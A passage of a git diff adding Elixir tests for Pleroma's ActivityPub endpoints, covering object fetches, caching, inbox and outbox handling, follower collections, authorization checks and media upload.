get("/objects/#{uuid}") + + assert json_response(conn, 200) == ObjectView.render("object.json", %{object: note}) + end + + test "it returns a json representation of the object with accept application/ld+json", %{ + conn: conn + } do + note = insert(:note) + uuid = String.split(note.data["id"], "/") |> List.last() + + conn = + conn + |> put_req_header( + "accept", + "application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"" + ) + |> get("/objects/#{uuid}") + + assert json_response(conn, 200) == ObjectView.render("object.json", %{object: note}) + end + + test "it returns 404 for non-public messages", %{conn: conn} do + note = insert(:direct_note) + uuid = String.split(note.data["id"], "/") |> List.last() + + conn = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/objects/#{uuid}") + + assert json_response(conn, 404) + end + + test "it returns 404 for tombstone objects", %{conn: conn} do + tombstone = insert(:tombstone) + uuid = String.split(tombstone.data["id"], "/") |> List.last() + + conn = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/objects/#{uuid}") + + assert json_response(conn, 404) + end + + test "it caches a response", %{conn: conn} do + note = insert(:note) + uuid = String.split(note.data["id"], "/") |> List.last() + + conn1 = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/objects/#{uuid}") + + assert json_response(conn1, :ok) + assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"})) + + conn2 = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/objects/#{uuid}") + + assert json_response(conn1, :ok) == json_response(conn2, :ok) + assert Enum.any?(conn2.resp_headers, &(&1 == {"x-cache", "HIT from Pleroma"})) + end + + test "cached purged after object deletion", %{conn: conn} do + note = insert(:note) + uuid = String.split(note.data["id"], "/") |> List.last() + + conn1 = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/objects/#{uuid}") + + assert json_response(conn1, :ok) + assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"})) + + Object.delete(note) + + conn2 = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/objects/#{uuid}") + + assert "Not found" == json_response(conn2, :not_found) + end + + test "it requires authentication if instance is NOT federating", %{ + conn: conn + } do + user = insert(:user) + note = insert(:note) + uuid = String.split(note.data["id"], "/") |> List.last() + + conn = put_req_header(conn, "accept", "application/activity+json") + + ensure_federating_or_authenticated(conn, "/objects/#{uuid}", user) + end + end + + describe "/activities/:uuid" do + test "it returns a json representation of the activity", %{conn: conn} do + activity = insert(:note_activity) + uuid = String.split(activity.data["id"], "/") |> List.last() + + conn = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/activities/#{uuid}") + + assert json_response(conn, 200) == ObjectView.render("object.json", %{object: activity}) + end + + test "it returns 404 for non-public activities", %{conn: conn} do + activity = insert(:direct_note_activity) + uuid = String.split(activity.data["id"], "/") |> List.last() + + conn = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/activities/#{uuid}") + + assert json_response(conn, 404) + end + + test "it caches a response", %{conn: conn} do + activity = insert(:note_activity) + uuid = String.split(activity.data["id"], "/") |> List.last() + + conn1 = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/activities/#{uuid}") + + assert json_response(conn1, :ok) + assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"})) + + conn2 = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/activities/#{uuid}") + + assert json_response(conn1, :ok) == json_response(conn2, :ok) + assert Enum.any?(conn2.resp_headers, &(&1 == {"x-cache", "HIT from Pleroma"})) + end + + test "cached purged after activity deletion", %{conn: conn} do + user = insert(:user) + {:ok, activity} = CommonAPI.post(user, %{status: "cofe"}) + + uuid = String.split(activity.data["id"], "/") |> List.last() + + conn1 = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/activities/#{uuid}") + + assert json_response(conn1, :ok) + assert Enum.any?(conn1.resp_headers, &(&1 == {"x-cache", "MISS from Pleroma"})) + + Activity.delete_all_by_object_ap_id(activity.object.data["id"]) + + conn2 = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/activities/#{uuid}") + + assert "Not found" == json_response(conn2, :not_found) + end + + test "it requires authentication if instance is NOT federating", %{ + conn: conn + } do + user = insert(:user) + activity = insert(:note_activity) + uuid = String.split(activity.data["id"], "/") |> List.last() + + conn = put_req_header(conn, "accept", "application/activity+json") + + ensure_federating_or_authenticated(conn, "/activities/#{uuid}", user) + end + end + + describe "/inbox" do + test "it inserts an incoming activity into the database", %{conn: conn} do + data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/inbox", data) + + assert "ok" == json_response(conn, 200) + + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + assert Activity.get_by_ap_id(data["id"]) + end + + @tag capture_log: true + test "it inserts an incoming activity into the database" <> + "even if we can't fetch the user but have it in our db", + %{conn: conn} do + user = + insert(:user, + ap_id: "https://mastodon.example.org/users/raymoo", + ap_enabled: true, + local: false, + last_refreshed_at: nil + ) + + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + |> Map.put("actor", user.ap_id) + |> put_in(["object", "attridbutedTo"], user.ap_id) + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/inbox", data) + + assert "ok" == json_response(conn, 200) + + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + assert Activity.get_by_ap_id(data["id"]) + end + + test "it clears `unreachable` federation status of the sender", %{conn: conn} do + data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() + + sender_url = data["actor"] + Instances.set_consistently_unreachable(sender_url) + refute Instances.reachable?(sender_url) + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/inbox", data) + + assert "ok" == json_response(conn, 200) + assert Instances.reachable?(sender_url) + end + + test "accept follow activity", %{conn: conn} do + Pleroma.Config.put([:instance, :federating], true) + relay = Relay.get_actor() + + assert {:ok, %Activity{} = activity} = Relay.follow("https://relay.mastodon.host/actor") + + followed_relay = Pleroma.User.get_by_ap_id("https://relay.mastodon.host/actor") + relay = refresh_record(relay) + + accept = + File.read!("test/fixtures/relay/accept-follow.json") + |> String.replace("{{ap_id}}", relay.ap_id) + |> String.replace("{{activity_id}}", activity.data["id"]) + + assert "ok" == + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/inbox", accept) + |> json_response(200) + + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + + assert Pleroma.FollowingRelationship.following?( + relay, + followed_relay + ) + + Mix.shell(Mix.Shell.Process) + + on_exit(fn -> + Mix.shell(Mix.Shell.IO) + end) + + :ok = Mix.Tasks.Pleroma.Relay.run(["list"]) + assert_receive {:mix_shell, :info, ["https://relay.mastodon.host/actor"]} + end + + @tag capture_log: true + test "without valid signature, " <> + "it only accepts Create activities and requires enabled federation", + %{conn: conn} do + data = File.read!("test/fixtures/mastodon-post-activity.json") |> Poison.decode!() + non_create_data = File.read!("test/fixtures/mastodon-announce.json") |> Poison.decode!() + + conn = put_req_header(conn, "content-type", "application/activity+json") + + Config.put([:instance, :federating], false) + + conn + |> post("/inbox", data) + |> json_response(403) + + conn + |> post("/inbox", non_create_data) + |> json_response(403) + + Config.put([:instance, :federating], true) + + ret_conn = post(conn, "/inbox", data) + assert "ok" == json_response(ret_conn, 200) + + conn + |> post("/inbox", non_create_data) + |> json_response(400) + end + end + + describe "/users/:nickname/inbox" do + setup do + data = + File.read!("test/fixtures/mastodon-post-activity.json") + |> Poison.decode!() + + [data: data] + end + + test "it inserts an incoming activity into the database", %{conn: conn, data: data} do + user = insert(:user) + data = Map.put(data, "bcc", [user.ap_id]) + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/inbox", data) + + assert "ok" == json_response(conn, 200) + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + assert Activity.get_by_ap_id(data["id"]) + end + + test "it accepts messages with to as string instead of array", %{conn: conn, data: data} do + user = insert(:user) + + data = + Map.put(data, "to", user.ap_id) + |> Map.delete("cc") + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/inbox", data) + + assert "ok" == json_response(conn, 200) + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + assert Activity.get_by_ap_id(data["id"]) + end + + test "it accepts messages with cc as string instead of array", %{conn: conn, data: data} do + user = insert(:user) + + data = + Map.put(data, "cc", user.ap_id) + |> Map.delete("to") + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/inbox", data) + + assert "ok" == json_response(conn, 200) + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + %Activity{} = activity = Activity.get_by_ap_id(data["id"]) + assert user.ap_id in activity.recipients + end + + test "it accepts messages with bcc as string instead of array", %{conn: conn, data: data} do + user = insert(:user) + + data = + Map.put(data, "bcc", user.ap_id) + |> Map.delete("to") + |> Map.delete("cc") + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/inbox", data) + + assert "ok" == json_response(conn, 200) + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + assert Activity.get_by_ap_id(data["id"]) + end + + test "it accepts announces with to as string instead of array", %{conn: conn} do + user = insert(:user) + + {:ok, post} = CommonAPI.post(user, %{status: "hey"}) + announcer = insert(:user, local: false) + + data = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "actor" => announcer.ap_id, + "id" => "#{announcer.ap_id}/statuses/19512778738411822/activity", + "object" => post.data["object"], + "to" => "https://www.w3.org/ns/activitystreams#Public", + "cc" => [user.ap_id], + "type" => "Announce" + } + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/inbox", data) + + assert "ok" == json_response(conn, 200) + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + %Activity{} = activity = Activity.get_by_ap_id(data["id"]) + assert "https://www.w3.org/ns/activitystreams#Public" in activity.recipients + end + + test "it accepts messages from actors that are followed by the user", %{ + conn: conn, + data: data + } do + recipient = insert(:user) + actor = insert(:user, %{ap_id: "http://mastodon.example.org/users/actor"}) + + {:ok, recipient} = User.follow(recipient, actor) + + object = + data["object"] + |> Map.put("attributedTo", actor.ap_id) + + data = + data + |> Map.put("actor", actor.ap_id) + |> Map.put("object", object) + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{recipient.nickname}/inbox", data) + + assert "ok" == json_response(conn, 200) + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + assert Activity.get_by_ap_id(data["id"]) + end + + test "it rejects reads from other users", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + conn = + conn + |> assign(:user, other_user) + |> put_req_header("accept", "application/activity+json") + |> get("/users/#{user.nickname}/inbox") + + assert json_response(conn, 403) + end + + test "it returns a note activity in a collection", %{conn: conn} do + note_activity = insert(:direct_note_activity) + note_object = Object.normalize(note_activity) + user = User.get_cached_by_ap_id(hd(note_activity.data["to"])) + + conn = + conn + |> assign(:user, user) + |> put_req_header("accept", "application/activity+json") + |> get("/users/#{user.nickname}/inbox?page=true") + + assert response(conn, 200) =~ note_object.data["content"] + end + + test "it clears `unreachable` federation status of the sender", %{conn: conn, data: data} do + user = insert(:user) + data = Map.put(data, "bcc", [user.ap_id]) + + sender_host = URI.parse(data["actor"]).host + Instances.set_consistently_unreachable(sender_host) + refute Instances.reachable?(sender_host) + + conn = + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/inbox", data) + + assert "ok" == json_response(conn, 200) + assert Instances.reachable?(sender_host) + end + + test "it removes all follower collections but actor's", %{conn: conn} do + [actor, recipient] = insert_pair(:user) + + data = + File.read!("test/fixtures/activitypub-client-post-activity.json") + |> Poison.decode!() + + object = Map.put(data["object"], "attributedTo", actor.ap_id) + + data = + data + |> Map.put("id", Utils.generate_object_id()) + |> Map.put("actor", actor.ap_id) + |> Map.put("object", object) + |> Map.put("cc", [ + recipient.follower_address, + actor.follower_address + ]) + |> Map.put("to", [ + recipient.ap_id, + recipient.follower_address, + "https://www.w3.org/ns/activitystreams#Public" + ]) + + conn + |> assign(:valid_signature, true) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{recipient.nickname}/inbox", data) + |> json_response(200) + + ObanHelpers.perform(all_enqueued(worker: ReceiverWorker)) + + activity = Activity.get_by_ap_id(data["id"]) + + assert activity.id + assert actor.follower_address in activity.recipients + assert actor.follower_address in activity.data["cc"] + + refute recipient.follower_address in activity.recipients + refute recipient.follower_address in activity.data["cc"] + refute recipient.follower_address in activity.data["to"] + end + + test "it requires authentication", %{conn: conn} do + user = insert(:user) + conn = put_req_header(conn, "accept", "application/activity+json") + + ret_conn = get(conn, "/users/#{user.nickname}/inbox") + assert json_response(ret_conn, 403) + + ret_conn = + conn + |> assign(:user, user) + |> get("/users/#{user.nickname}/inbox") + + assert json_response(ret_conn, 200) + end + end + + describe "GET /users/:nickname/outbox" do + test "it paginates correctly", %{conn: conn} do + user = insert(:user) + conn = assign(conn, :user, user) + outbox_endpoint = user.ap_id <> "/outbox" + + _posts = + for i <- 0..25 do + {:ok, activity} = CommonAPI.post(user, %{status: "post #{i}"}) + activity + end + + result = + conn + |> put_req_header("accept", "application/activity+json") + |> get(outbox_endpoint <> "?page=true") + |> json_response(200) + + result_ids = Enum.map(result["orderedItems"], fn x -> x["id"] end) + assert length(result["orderedItems"]) == 20 + assert length(result_ids) == 20 + assert result["next"] + assert String.starts_with?(result["next"], outbox_endpoint) + + result_next = + conn + |> put_req_header("accept", "application/activity+json") + |> get(result["next"]) + |> json_response(200) + + result_next_ids = Enum.map(result_next["orderedItems"], fn x -> x["id"] end) + assert length(result_next["orderedItems"]) == 6 + assert length(result_next_ids) == 6 + refute Enum.find(result_next_ids, fn x -> x in result_ids end) + refute Enum.find(result_ids, fn x -> x in result_next_ids end) + assert String.starts_with?(result["id"], outbox_endpoint) + + result_next_again = + conn + |> put_req_header("accept", "application/activity+json") + |> get(result_next["id"]) + |> json_response(200) + + assert result_next == result_next_again + end + + test "it returns 200 even if there're no activities", %{conn: conn} do + user = insert(:user) + outbox_endpoint = user.ap_id <> "/outbox" + + conn = + conn + |> assign(:user, user) + |> put_req_header("accept", "application/activity+json") + |> get(outbox_endpoint) + + result = json_response(conn, 200) + assert outbox_endpoint == result["id"] + end + + test "it returns a note activity in a collection", %{conn: conn} do + note_activity = insert(:note_activity) + note_object = Object.normalize(note_activity) + user = User.get_cached_by_ap_id(note_activity.data["actor"]) + + conn = + conn + |> assign(:user, user) + |> put_req_header("accept", "application/activity+json") + |> get("/users/#{user.nickname}/outbox?page=true") + + assert response(conn, 200) =~ note_object.data["content"] + end + + test "it returns an announce activity in a collection", %{conn: conn} do + announce_activity = insert(:announce_activity) + user = User.get_cached_by_ap_id(announce_activity.data["actor"]) + + conn = + conn + |> assign(:user, user) + |> put_req_header("accept", "application/activity+json") + |> get("/users/#{user.nickname}/outbox?page=true") + + assert response(conn, 200) =~ announce_activity.data["object"] + end + + test "it requires authentication if instance is NOT federating", %{ + conn: conn + } do + user = insert(:user) + conn = put_req_header(conn, "accept", "application/activity+json") + + ensure_federating_or_authenticated(conn, "/users/#{user.nickname}/outbox", user) + end + end + + describe "POST /users/:nickname/outbox (C2S)" do + setup do: clear_config([:instance, :limit]) + + setup do + [ + activity: %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Create", + "object" => %{"type" => "Note", "content" => "AP C2S test"}, + "to" => "https://www.w3.org/ns/activitystreams#Public", + "cc" => [] + } + ] + end + + test "it rejects posts from other users / unauthenticated users", %{ + conn: conn, + activity: activity + } do + user = insert(:user) + other_user = insert(:user) + conn = put_req_header(conn, "content-type", "application/activity+json") + + conn + |> post("/users/#{user.nickname}/outbox", activity) + |> json_response(403) + + conn + |> assign(:user, other_user) + |> post("/users/#{user.nickname}/outbox", activity) + |> json_response(403) + end + + test "it inserts an incoming create activity into the database", %{ + conn: conn, + activity: activity + } do + user = insert(:user) + + result = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", activity) + |> json_response(201) + + assert Activity.get_by_ap_id(result["id"]) + assert result["object"] + assert %Object{data: object} = Object.normalize(result["object"]) + assert object["content"] == activity["object"]["content"] + end + + test "it rejects anything beyond 'Note' creations", %{conn: conn, activity: activity} do + user = insert(:user) + + activity = + activity + |> put_in(["object", "type"], "Benis") + + _result = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", activity) + |> json_response(400) + end + + test "it inserts an incoming sensitive activity into the database", %{ + conn: conn, + activity: activity + } do + user = insert(:user) + conn = assign(conn, :user, user) + object = Map.put(activity["object"], "sensitive", true) + activity = Map.put(activity, "object", object) + + response = + conn + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", activity) + |> json_response(201) + + assert Activity.get_by_ap_id(response["id"]) + assert response["object"] + assert %Object{data: response_object} = Object.normalize(response["object"]) + assert response_object["sensitive"] == true + assert response_object["content"] == activity["object"]["content"] + + representation = + conn + |> put_req_header("accept", "application/activity+json") + |> get(response["id"]) + |> json_response(200) + + assert representation["object"]["sensitive"] == true + end + + test "it rejects an incoming activity with bogus type", %{conn: conn, activity: activity} do + user = insert(:user) + activity = Map.put(activity, "type", "BadType") + + conn = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", activity) + + assert json_response(conn, 400) + end + + test "it erects a tombstone when receiving a delete activity", %{conn: conn} do + note_activity = insert(:note_activity) + note_object = Object.normalize(note_activity) + user = User.get_cached_by_ap_id(note_activity.data["actor"]) + + data = %{ + type: "Delete", + object: %{ + id: note_object.data["id"] + } + } + + conn = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", data) + + result = json_response(conn, 201) + assert Activity.get_by_ap_id(result["id"]) + + assert object = Object.get_by_ap_id(note_object.data["id"]) + assert object.data["type"] == "Tombstone" + end + + test "it rejects delete activity of object from other actor", %{conn: conn} do + note_activity = insert(:note_activity) + note_object = Object.normalize(note_activity) + user = insert(:user) + + data = %{ + type: "Delete", + object: %{ + id: note_object.data["id"] + } + } + + conn = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", data) + + assert json_response(conn, 400) + end + + test "it increases like count when receiving a like action", %{conn: conn} do + note_activity = insert(:note_activity) + note_object = Object.normalize(note_activity) + user = User.get_cached_by_ap_id(note_activity.data["actor"]) + + data = %{ + type: "Like", + object: %{ + id: note_object.data["id"] + } + } + + conn = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", data) + + result = json_response(conn, 201) + assert Activity.get_by_ap_id(result["id"]) + + assert object = Object.get_by_ap_id(note_object.data["id"]) + assert object.data["like_count"] == 1 + end + + test "it doesn't spreads faulty attributedTo or actor fields", %{ + conn: conn, + activity: activity + } do + reimu = insert(:user, nickname: "reimu") + cirno = insert(:user, nickname: "cirno") + + assert reimu.ap_id + assert cirno.ap_id + + activity = + activity + |> put_in(["object", "actor"], reimu.ap_id) + |> put_in(["object", "attributedTo"], reimu.ap_id) + |> put_in(["actor"], reimu.ap_id) + |> put_in(["attributedTo"], reimu.ap_id) + + _reimu_outbox = + conn + |> assign(:user, cirno) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{reimu.nickname}/outbox", activity) + |> json_response(403) + + cirno_outbox = + conn + |> assign(:user, cirno) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{cirno.nickname}/outbox", activity) + |> json_response(201) + + assert cirno_outbox["attributedTo"] == nil + assert cirno_outbox["actor"] == cirno.ap_id + + assert cirno_object = Object.normalize(cirno_outbox["object"]) + assert cirno_object.data["actor"] == cirno.ap_id + assert cirno_object.data["attributedTo"] == cirno.ap_id + end + + test "Character limitation", %{conn: conn, activity: activity} do + Pleroma.Config.put([:instance, :limit], 5) + user = insert(:user) + + result = + conn + |> assign(:user, user) + |> put_req_header("content-type", "application/activity+json") + |> post("/users/#{user.nickname}/outbox", activity) + |> json_response(400) + + assert result == "Note is over the character limit" + end + end + + describe "/relay/followers" do + test "it returns relay followers", %{conn: conn} do + relay_actor = Relay.get_actor() + user = insert(:user) + User.follow(user, relay_actor) + + result = + conn + |> get("/relay/followers") + |> json_response(200) + + assert result["first"]["orderedItems"] == [user.ap_id] + end + + test "on non-federating instance, it returns 404", %{conn: conn} do + Config.put([:instance, :federating], false) + user = insert(:user) + + conn + |> assign(:user, user) + |> get("/relay/followers") + |> json_response(404) + end + end + + describe "/relay/following" do + test "it returns relay following", %{conn: conn} do + result = + conn + |> get("/relay/following") + |> json_response(200) + + assert result["first"]["orderedItems"] == [] + end + + test "on non-federating instance, it returns 404", %{conn: conn} do + Config.put([:instance, :federating], false) + user = insert(:user) + + conn + |> assign(:user, user) + |> get("/relay/following") + |> json_response(404) + end + end + + describe "/users/:nickname/followers" do + test "it returns the followers in a collection", %{conn: conn} do + user = insert(:user) + user_two = insert(:user) + User.follow(user, user_two) + + result = + conn + |> assign(:user, user_two) + |> get("/users/#{user_two.nickname}/followers") + |> json_response(200) + + assert result["first"]["orderedItems"] == [user.ap_id] + end + + test "it returns a uri if the user has 'hide_followers' set", %{conn: conn} do + user = insert(:user) + user_two = insert(:user, hide_followers: true) + User.follow(user, user_two) + + result = + conn + |> assign(:user, user) + |> get("/users/#{user_two.nickname}/followers") + |> json_response(200) + + assert is_binary(result["first"]) + end + + test "it returns a 403 error on pages, if the user has 'hide_followers' set and the request is from another user", + %{conn: conn} do + user = insert(:user) + other_user = insert(:user, hide_followers: true) + + result = + conn + |> assign(:user, user) + |> get("/users/#{other_user.nickname}/followers?page=1") + + assert result.status == 403 + assert result.resp_body == "" + end + + test "it renders the page, if the user has 'hide_followers' set and the request is authenticated with the same user", + %{conn: conn} do + user = insert(:user, hide_followers: true) + other_user = insert(:user) + {:ok, _other_user, user, _activity} = CommonAPI.follow(other_user, user) + + result = + conn + |> assign(:user, user) + |> get("/users/#{user.nickname}/followers?page=1") + |> json_response(200) + + assert result["totalItems"] == 1 + assert result["orderedItems"] == [other_user.ap_id] + end + + test "it works for more than 10 users", %{conn: conn} do + user = insert(:user) + + Enum.each(1..15, fn _ -> + other_user = insert(:user) + User.follow(other_user, user) + end) + + result = + conn + |> assign(:user, user) + |> get("/users/#{user.nickname}/followers") + |> json_response(200) + + assert length(result["first"]["orderedItems"]) == 10 + assert result["first"]["totalItems"] == 15 + assert result["totalItems"] == 15 + + result = + conn + |> assign(:user, user) + |> get("/users/#{user.nickname}/followers?page=2") + |> json_response(200) + + assert length(result["orderedItems"]) == 5 + assert result["totalItems"] == 15 + end + + test "does not require authentication", %{conn: conn} do + user = insert(:user) + + conn + |> get("/users/#{user.nickname}/followers") + |> json_response(200) + end + end + + describe "/users/:nickname/following" do + test "it returns the following in a collection", %{conn: conn} do + user = insert(:user) + user_two = insert(:user) + User.follow(user, user_two) + + result = + conn + |> assign(:user, user) + |> get("/users/#{user.nickname}/following") + |> json_response(200) + + assert result["first"]["orderedItems"] == [user_two.ap_id] + end + + test "it returns a uri if the user has 'hide_follows' set", %{conn: conn} do + user = insert(:user) + user_two = insert(:user, hide_follows: true) + User.follow(user, user_two) + + result = + conn + |> assign(:user, user) + |> get("/users/#{user_two.nickname}/following") + |> json_response(200) + + assert is_binary(result["first"]) + end + + test "it returns a 403 error on pages, if the user has 'hide_follows' set and the request is from another user", + %{conn: conn} do + user = insert(:user) + user_two = insert(:user, hide_follows: true) + + result = + conn + |> assign(:user, user) + |> get("/users/#{user_two.nickname}/following?page=1") + + assert result.status == 403 + assert result.resp_body == "" + end + + test "it renders the page, if the user has 'hide_follows' set and the request is authenticated with the same user", + %{conn: conn} do + user = insert(:user, hide_follows: true) + other_user = insert(:user) + {:ok, user, _other_user, _activity} = CommonAPI.follow(user, other_user) + + result = + conn + |> assign(:user, user) + |> get("/users/#{user.nickname}/following?page=1") + |> json_response(200) + + assert result["totalItems"] == 1 + assert result["orderedItems"] == [other_user.ap_id] + end + + test "it works for more than 10 users", %{conn: conn} do + user = insert(:user) + + Enum.each(1..15, fn _ -> + user = User.get_cached_by_id(user.id) + other_user = insert(:user) + User.follow(user, other_user) + end) + + result = + conn + |> assign(:user, user) + |> get("/users/#{user.nickname}/following") + |> json_response(200) + + assert length(result["first"]["orderedItems"]) == 10 + assert result["first"]["totalItems"] == 15 + assert result["totalItems"] == 15 + + result = + conn + |> assign(:user, user) + |> get("/users/#{user.nickname}/following?page=2") + |> json_response(200) + + assert length(result["orderedItems"]) == 5 + assert result["totalItems"] == 15 + end + + test "does not require authentication", %{conn: conn} do + user = insert(:user) + + conn + |> get("/users/#{user.nickname}/following") + |> json_response(200) + end + end + + describe "delivery tracking" do + test "it tracks a signed object fetch", %{conn: conn} do + user = insert(:user, local: false) + activity = insert(:note_activity) + object = Object.normalize(activity) + + object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url()) + + conn + |> put_req_header("accept", "application/activity+json") + |> assign(:user, user) + |> get(object_path) + |> json_response(200) + + assert Delivery.get(object.id, user.id) + end + + test "it tracks a signed activity fetch", %{conn: conn} do + user = insert(:user, local: false) + activity = insert(:note_activity) + object = Object.normalize(activity) + + activity_path = String.trim_leading(activity.data["id"], Pleroma.Web.Endpoint.url()) + + conn + |> put_req_header("accept", "application/activity+json") + |> assign(:user, user) + |> get(activity_path) + |> json_response(200) + + assert Delivery.get(object.id, user.id) + end + + test "it tracks a signed object fetch when the json is cached", %{conn: conn} do + user = insert(:user, local: false) + other_user = insert(:user, local: false) + activity = insert(:note_activity) + object = Object.normalize(activity) + + object_path = String.trim_leading(object.data["id"], Pleroma.Web.Endpoint.url()) + + conn + |> put_req_header("accept", "application/activity+json") + |> assign(:user, user) + |> get(object_path) + |> json_response(200) + + build_conn() + |> put_req_header("accept", "application/activity+json") + |> assign(:user, other_user) + |> get(object_path) + |> json_response(200) + + assert Delivery.get(object.id, user.id) + assert Delivery.get(object.id, other_user.id) + end + + test "it tracks a signed activity fetch when the json is cached", %{conn: conn} do + user = insert(:user, local: false) + other_user = insert(:user, local: false) + activity = insert(:note_activity) + object = Object.normalize(activity) + + activity_path = String.trim_leading(activity.data["id"], Pleroma.Web.Endpoint.url()) + + conn + |> put_req_header("accept", "application/activity+json") + |> assign(:user, user) + |> get(activity_path) + |> json_response(200) + + build_conn() + |> put_req_header("accept", "application/activity+json") + |> assign(:user, other_user) + |> get(activity_path) + |> json_response(200) + + assert Delivery.get(object.id, user.id) + assert Delivery.get(object.id, other_user.id) + end + end + + describe "Additional ActivityPub C2S endpoints" do + test "GET /api/ap/whoami", %{conn: conn} do + user = insert(:user) + + conn = + conn + |> assign(:user, user) + |> get("/api/ap/whoami") + + user = User.get_cached_by_id(user.id) + + assert UserView.render("user.json", %{user: user}) == json_response(conn, 200) + + conn + |> get("/api/ap/whoami") + |> json_response(403) + end + + setup do: clear_config([:media_proxy]) + setup do: clear_config([Pleroma.Upload]) + + test "POST /api/ap/upload_media", %{conn: conn} do + user = insert(:user) + + desc = "Description of the image" + + image = %Plug.Upload{ + content_type: "image/jpg", + path: Path.absname("test/fixtures/image.jpg"), + filename: "an_image.jpg" + } + + object = + conn + |> assign(:user, user) + |> post("/api/ap/upload_media", %{"file" => image, "description" => desc}) + |> json_response(:created) + + assert object["name"] == desc + assert object["type"] == "Document" + assert object["actor"] == user.ap_id + assert [%{"href" => object_href, "mediaType" => object_mediatype}] = object["url"] + assert is_binary(object_href) + assert object_mediatype == "image/jpeg" + + activity_request = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "type" => "Create", + "object" => %{ + "type" => "Note", + "content" => "AP C2S test, attachment", + "attachment" => [object] + }, + "to" => "https://www.w3.org/ns/activitystreams#Public", + "cc" => [] + } + + activity_response = + conn + |> assign(:user, user) + |> post("/users/#{user.nickname}/outbox", activity_request) + |> json_response(:created) + + assert activity_response["id"] + assert activity_response["object"] + assert activity_response["actor"] == user.ap_id + + assert %Object{data: %{"attachment" => [attachment]}} = + Object.normalize(activity_response["object"]) + + assert attachment["type"] == "Document" + assert attachment["name"] == desc + + assert [ + %{ + "href" => ^object_href, + "type" => "Link", + "mediaType" => ^object_mediatype + } + ] = attachment["url"] + + # Fails if unauthenticated + conn + |> post("/api/ap/upload_media", %{"file" => image, "description" => desc}) + |> json_response(403) + end + end +end diff --git a/test/pleroma/web/activity_pub/activity_pub_test.exs b/test/pleroma/web/activity_pub/activity_pub_test.exs new file mode 100644 index 000000000..804305a13 --- /dev/null +++ b/test/pleroma/web/activity_pub/activity_pub_test.exs @@ -0,0 +1,2260 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ActivityPubTest do + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + + alias Pleroma.Activity + alias Pleroma.Builders.ActivityBuilder + alias Pleroma.Config + alias Pleroma.Notification + alias Pleroma.Object + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.ActivityPub.Utils + alias Pleroma.Web.AdminAPI.AccountView + alias Pleroma.Web.CommonAPI + + import ExUnit.CaptureLog + import Mock + import Pleroma.Factory + import Tesla.Mock + + setup do + 